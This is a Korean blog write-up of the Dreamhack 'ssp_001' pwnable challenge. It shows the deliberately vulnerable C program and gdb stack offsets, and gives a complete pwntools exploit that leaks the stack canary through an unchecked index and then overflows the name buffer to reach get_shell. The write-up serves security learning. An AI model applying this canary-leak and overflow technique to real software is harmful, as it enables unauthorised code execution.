728x90

풀이

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() { 
    system("/bin/sh");
} 
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}

제공된 코드를 살펴보면 box와 name 모두 크기가 0x40으로 지정되어 있다. box는 정해진 크기만큼 입력을 받고, name은 사용자가 입력한 크기만큼 입력을 받는데 입력 크기 제한이 따로 있지 않아서 이 부분에서 버퍼오버플로우가 발생한다.  그리고 P 부분에서 입력된 인덱스의 box 값을 읽어주는데 따로 입력 인덱스에 제한을 두고 있지 않다. 이 부분에서느 카나리릭이 발생한다.

 

이제 gdb를 통해서 스택프레임 형태를 확인해보자.  while 안쪽 부분만 살펴보자.

   0x08048795 <+106>:   push   0x2
   0x08048797 <+108>:   lea    eax,[ebp-0x8a]  #select
   0x0804879d <+114>:   push   eax
   0x0804879e <+115>:   push   0x0
   0x080487a0 <+117>:   call   0x80484a0 <read@plt> #read(0, select,2)
   0x080487a5 <+122>:   add    esp,0xc

   0x080487d3 <+168>:   push   0x40
   0x080487d5 <+170>:   lea    eax,[ebp-0x88] #box
   0x080487db <+176>:   push   eax
   0x080487dc <+177>:   push   0x0
   0x080487de <+179>:   call   0x80484a0 <read@plt> #read(0,box, sizeof(box))
   0x080487e3 <+184>:   add    esp,0xc

   0x080487f5 <+202>:   add    esp,0x4
   0x080487f8 <+205>:   lea    eax,[ebp-0x94] #idx
   0x080487fe <+211>:   push   eax
   0x080487ff <+212>:   push   0x804898a
   0x08048804 <+217>:   call   0x8048540 <__isoc99_scanf@plt> #scanf("%d", &idx)
   0x08048809 <+222>:   add    esp,0x8

   0x0804882e <+259>:   add    esp,0x4
   0x08048831 <+262>:   lea    eax,[ebp-0x90] #name_len
   0x08048837 <+268>:   push   eax
   0x08048838 <+269>:   push   0x804898a
   0x0804883d <+274>:   call   0x8048540 <__isoc99_scanf@plt> #scanf("%d", &name_len)
   0x08048842 <+279>:   add    esp,0x8

   0x0804884f <+292>:   add    esp,0x4
   0x08048852 <+295>:   mov    eax,DWORD PTR [ebp-0x90] #name_len
   0x08048858 <+301>:   push   eax
   0x08048859 <+302>:   lea    eax,[ebp-0x48] #name
   0x0804885c <+305>:   push   eax
   0x0804885d <+306>:   push   0x0
   0x0804885f <+308>:   call   0x80484a0 <read@plt> #read(0, name, name_len)
   0x08048864 <+313>:   add    esp,0xc

[ebp-0x8a] : select
[ebp-0x88] : box
[ebp-0x94] : idx
[ebp-0x48] : name
[ebp-0x90] : name_len

인 것을 알 수 있다.

 

먼저 반환주소를 확인해주고, 

그 다음 SFP를 확인해주고,

적당히 돌리고 ebp-0x8에서부터 8개 바이트값을 읽어보았다. 그리고 canary 값을 확인해본 결과, dummy 값이 있다는 것을 알 수 있다. 

(사실 나는 이런 유식한 방법을 쓰지 않고 print_box를 이용해서 최대한 많은 메모리값을 출력해서 스택이 끝나는 지점, canary와 SFP 사이에 더미가 있다는 사실을 때려맞췄다.. 하나하나 세봤다 ㅎ)

알아낸 정보를 바탕으로 익스플로잇 코드를 작성했다. 

from pwn import *

p = remote('host3.dreamhack.games', 20417)
e = ELF("./ssp_001") 

get_shell = e.symbols['get_shell'] 

cnry = b'' 

for i in range(128,132):
    p.recvuntil(b'>')
    p.sendline(b'P')
    p.sendlineafter(b':', b'%d' % i)
    p.recvuntil(b': ')
    canary_byte = p.recvn(2) 
    cnry += bytes.fromhex(canary_byte.decode())

print("cannary:", cnry)

p.recvuntil(b'>')
p.sendline(b'E')

p.recvuntil(b':')
p.sendline(b'80')

payload = b'A'* 64 + cnry + b'A'* 8 + p32(get_shell)
p.sendlineafter(b':',payload)

p.interactive()

print_box를 이용해서 canary 값을 찾아냈다. 여기서 꼭 바이트 형식(\x)에 맞게 해줘야한다는 걸 잊지말아야한다. 이것 때문에 한참 헤맸다. 그리고 canary 값과 함께 버퍼오버플로우를 발생시키는 페이로드를 작성하여 넘겨주었다.

그리고 코드를 실행하면 셸을 얻고 flag 파일을 읽을 수 있다!

배운것

1. byte 형식! 잊지말기

2. `ELF`와 `symbols`를 이용하면 함수주소를 찾는 작업을 하지 않아도 된다!

'Write-up > Pwnable' 카테고리의 다른 글

[Dreamhack] Return to Shellcode  (0) 2024.05.22
[Dreamhack] basic_exploitation_001  (0) 2024.05.20
[Dreamhack] basic_exploitation_000  (0) 2024.05.20
[Dreamhack] Return Address Overwrite  (0) 2024.05.20
[Dreamhack] shell_basic  (0) 2024.05.11

+ Recent posts